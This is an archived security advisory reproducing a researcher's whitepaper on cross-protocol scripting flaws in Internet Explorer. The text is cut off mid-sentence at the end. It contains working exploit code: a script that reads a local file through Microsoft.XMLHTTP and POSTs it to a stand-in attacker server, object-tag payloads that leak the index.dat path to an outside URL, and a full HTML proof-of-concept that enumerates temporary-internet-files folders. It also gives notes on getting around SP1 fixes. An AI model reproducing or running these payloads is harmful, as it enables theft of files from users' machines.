|
COMMAND Leveraging cross-protocol scriptinh in MSIE whitepaper SYSTEMS AFFECTED All IE ? PROBLEM From jelmer [jkuperus@xs4all.nl] whitepaper : Introduction ------------ The past year we have seen a great number of Cross-protocol scripting bugs found in internet explorer Generally the dangers attributed to these kind of bugs have been. - cookie theft - executing programs installed on a users pc already (without passing parameters) - website foring - reading files from a users harddisk that can be opened in msie ( txt, htm etc..) I've allways felt that researchers where ignoring what was right in front of them. In this post I will outline that it is infact possible to read and send binary files and enumerate the randomly generated temporary internet files folders (TIF) with all asociated risks in the past it has been possible to use this information to execute arbitrary code by firing a chm (html help file) from the TIF containing malicious code. Eventhough I have been told this has been corrected in MSIE6 SP1 I feel this is an accident waiting to happen. But even if it wont allow execution there is a lot of stuff you can do with this For instance what almost certainly be can be done is call an applet from the tif that can chart the local directory stucture on a pc thus downloading binary files is no longer "blind" To prove my points I have prepared a demonstration at http://www.xs4all.nl/~jkuperus/demo.htm that uses the bug posted by greymagic software to enumerate the tif filenames *WONT WORK WITH SP1 INSTALLED READ BELOW* ok now the techincals Reading binary files -------------------- recent versions of internet explorer ship with an activeX component called the XMLHTTPConnection object In a very simple sense, it allows one to open an HTTP connection to a server, send some data, and get some data back, all in a few lines of script or code. The data exchanged through the XMLHTTP object is usually XML, but this is not a requirement. When used in the internet zone you are resticted to reading and posting to urls from the domain the code is called from. In the localzone however no such restrictions have been implemented so by injecting the following code into the localzone <script language="javascript"> var xmlhttp = new ActiveXObject ("Microsoft.XMLHTTP"); xmlhttp.Open("GET", "file:///C:/someFile.bin", false); xmlhttp.Send(); var targethttp = new ActiveXObject ("Microsoft.XMLHTTP"); targethttp.Open("POST","http://www.myevilserver.com/servlet/RecieveServlet", false); targethttp.Send(xmlhttp.responseBody); </script> one can read and send just about any file from the users filesystem as he xmlhttp.responseBody returns an array of unsigned bytes. Enumerating the TIF paths ------------------------- what is the Temporary Internet Files Folder? Just about Everything you view with your browser gets cached to disk, for faster browsing, that way for instance when you press back the browser doesnt have to reload all the images and text. being able to store files on a users filesystem on a known location is generally a bad idea so microsoft generates a number of random filesystem paths to store the temporary content however they wheren't overly clever in designing the system on 23 November 2000 george guninski wrote in an advisory relating to the opject tags type handleing: <snip> A good way is to use the Temporary Internet Files Folder which contain cached documents and files. The problem with it is there are several subfolders with random names. But there is a special file "index.dat" which is something like a catalog or registry which contains all visited URLs and which is more important the names of the random folders in its beginning. It is locatated in C:/WINDOWS/Temporary Internet Files/Content.IE5/ under Win9x and in C:/Documents and Settings/USERNAME/Local Settings/Temporary Internet Files/Content.IE5/ under Win2K - so under Win2K the username of the current user must be known or guessed which makes things more difficult. http://www.guninski.com/parsedat-desc.html </snip> what this basicly means is that if we can read this index.dat file we can enumerate the paths the mentioned "guessing of the username" is easily cirumvented by an unpatched flaw on januari of this year again, george guninski released an advisory on a problem in the GetObject() function on wich the pull replied that it is infact easy to get the path to the index.dat file in a similar fashion (http://msgs.securepoint.com/cgi-bin/get/bugtraq0201/1/1.html) while i believe the directory traversal thing was patched, this way to get to the path was never fixed. the following code will get the path to the index.dat file, and open a new window with the follwing URL http://www.xs4all.nl/~jkuperus/paths.htm?file=<PATH TO INDEX.DAT> <object classid="clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B" width="0" height="0"> <PARAM NAME="Location" VALUE="javascript:document.writeln(' <object classid="clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B" name="o"><PARAM NAME="Location" VALUE="file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settin gs/Temporary%20Internet%20Files/Content.IE5/index.dat"></object><script> setTimeout(" var matcher = new RegExp(\'<PARAM.NAME=.Location..VALUE=.([^\\\"]*).>\'); open(\'http://www.xs4all.nl/~jkuperus/paths.htm?file=\'+matcher.exec (o.document.body.innerHTML)[1]); ",500);</script\>')"> </object> now that we have the path we can pass it to our XMLHTTPComponent wich can read and parse the information contained in the file. injecting the following code into the localzone will get this done <script language="vbscript"> Sub extractPaths(filename) set xmlHTTP = CreateObject("Microsoft.XMLHTTP") xmlHTTP.open "GET",filename,false xmlHTTP.send contents = xmlHTTP.responseBody for i = 0 to 7 folder = "" for j = 81 + (i*12) to 88 + (i*12) thischarcode = ascb(midb(contents,j,1)) folder = folder & chr(thischarcode) next msgbox mid(filename,1,len(filename)-9) + folder next end sub </script> I use vbscript because I couldn't get the VT_ARRAY datatype that responseBody returns to work in javascript. Maybe some guru could expain to me if and how this is done Another possible use for this is being able to extract and send small portions of larger files. I attached a enumeration.htm file that when run in the local zone (eg. from your disk will list the TIF folders) I have not had the time to update the exploit yet but might do so later. <html> <body onload="test()"> <script language="vbscript"> Sub extractPaths(filename) set xmlHTTP = CreateObject("Microsoft.XMLHTTP") xmlHTTP.open "GET",filename,false xmlHTTP.send contents = xmlHTTP.responseBody for i = 0 to 7 folder = "" for j = 81 + (i*12) to 88 + (i*12) thischarcode = ascb(midb(contents,j,1)) folder = folder & chr(thischarcode) next msgbox mid(filename,1,len(filename)-9) + folder next end sub </script> <script language="javascript"> document.writeln('<object id=a classid=clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B width=0 height=0>'); document.writeln('<PARAM NAME=Location VALUE="javascript:document.writeln("<object id=b classid=clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B width=0 height=0><PARAM NAME=Location VALUE=file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settings/T emporary%20Internet%20Files/Content.IE5/index.dat></object>");'); document.writeln('</object>'); function test() { setTimeout( function () { elb = document.getElementById('b'); var matcher = new RegExp('<PARAM.NAME=.Location..VALUE=.*#([^\\"]*).>'); extractPaths(matcher.exec(elb.innerHTML)[1]); }, 2000 ); } </script> </body> </html> SOLUTION IE6 SP 1 notes SP1 messed things up on a couple of points so the demo wont work anymore. however all points are still very valid as all obstacles can be worked around obstacles encountered where - you arent allowed to open windows to file:// mhtml:// etc resources As thor larholm already pointed out redirection will subvert this, thus allowing the grey magic thingie to work once more - It isn't possible to to obtain the windows username through the pull's code anymore the following however will run when started in the localzone document.writeln('<object id=a classid=clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B width=0 height=0>'); document.writeln('<PARAM NAME=Location VALUE="javascript:document.writeln("<object id=b classid=clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B width=0 height=0><PARAM NAME=Location VALUE=file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settings/T emporary%20Internet%20Files/Content.IE5/index.dat></object>");'); document.writeln('</object>'); function test() { setTimeout( function () { elb = document.getElementById('b'); var matcher = new RegExp('<PARAM.NAME=.Location..VALUE=.*#([^\\"]*).>'); extractPaths(matcher.exec(elb.innerHTML)[1]); }, 2000 ); } there's some wierd stuff going on here basicly IE thinks VALUE=" stops at " ( an encoded " ) and thus thinks the param is invalid so the warning text is not shown. the tag is however still processed as normal. Oddly however it wont work like this in the internet zone. I'd